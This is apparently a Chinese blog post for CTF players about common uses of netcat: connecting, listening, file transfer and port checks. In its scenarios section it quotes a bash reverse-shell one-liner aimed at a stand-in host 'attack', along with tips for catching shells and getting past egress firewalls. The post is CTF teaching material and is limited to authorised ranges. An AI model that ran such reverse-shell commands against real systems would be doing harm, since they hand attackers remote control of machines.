POST

CTF 万能小工具:netcat(nc)的几种用法

连端口、监听、传文件、手搓 HTTP——netcat 在 CTF 里几乎无处不在。

netcat(通常叫 nc)是个特别不起眼但特别好用的工具。它不复杂,就是「读写 TCP/UDP 连接」,但正因为简单,在 CTF 里出现频率极高。

仅限 CTF 靶场和授权环境使用。

最常见的几种用法

连一个端口:

nc 10.0.0.5 80

连上之后可以直接手打 HTTP 请求,比如:

GET / HTTP/1.1
Host: 10.0.0.5

这种「手搓请求」在排查服务、确认 banner 时很好用,比开浏览器或 Burp 快。

监听端口:

nc -lvnp 4444

参数含义:-l 监听、-v 详细输出、-n 不做 DNS 解析、-p 指定端口。

CTF 里常用来接反弹 shell,或者做一个临时服务让靶机连回来。

传文件:

# 接收方
nc -lvnp 4444 > file.tar.gz

# 发送方
nc 10.0.0.5 4444 < file.tar.gz

在没有 scp、没有 HTTP 服务的情况下,这是最快的一招。

探测端口是否开放:

nc -zv 10.0.0.5 22

比 Nmap 轻量,适合快速确认单个端口。

和 socat、ncat 的关系

nc 有很多实现:GNU netcat、OpenBSD netcat、ncat(Nmap 自带)。它们的参数略有差异,比如 -e(执行命令)在部分版本里被移除或默认关闭。

遇到参数不兼容时,可以试 ncat 或 socat。socat 功能更强,能做端口转发、TLS 包装,但语法也更绕。

CTF 里的典型场景

拿反弹 shell。 靶机执行类似 bash -i >& /dev/tcp/attack/4444 0>&1,攻击机 nc -lvnp 4444 接住。这是最经典的一步。

传工具。 拿到 shell 后没有上传通道,用 nc 或者 base64 分块把工具传上去。

手搓协议。 自定义 TCP 服务的题,用 nc 连上去看它发什么、要求你回什么,往往比写脚本更快。

端口敲门。 有些题需要按顺序连几个端口才能开放某个服务,nc 直接连就行。

几个注意点

加密是没有的。 nc 是明文传输,CTF 里无所谓,真实环境别用来传敏感数据。

防火墙可能挡。 反弹 shell 连不回来,先确认出站端口没有被限制,换 80/443 这类常见端口试试。

不同版本参数不同。 -e、-c 的支持情况因实现而异,脚本里最好先确认目标环境。

别把它当扫描器。 扫端口还是用 Nmap,nc 只适合单点确认。

小结

netcat 的定位很朴素:一个能读能写的网络连接。但正因为朴素,它能干的事特别多——连服务、开监听、传文件、接 shell。

CTF 里遇到「需要一个临时网络通道」的场景,先想想 nc 能不能解决,往往能省掉一堆脚本。

👁 - 次浏览

留言

← 返回首页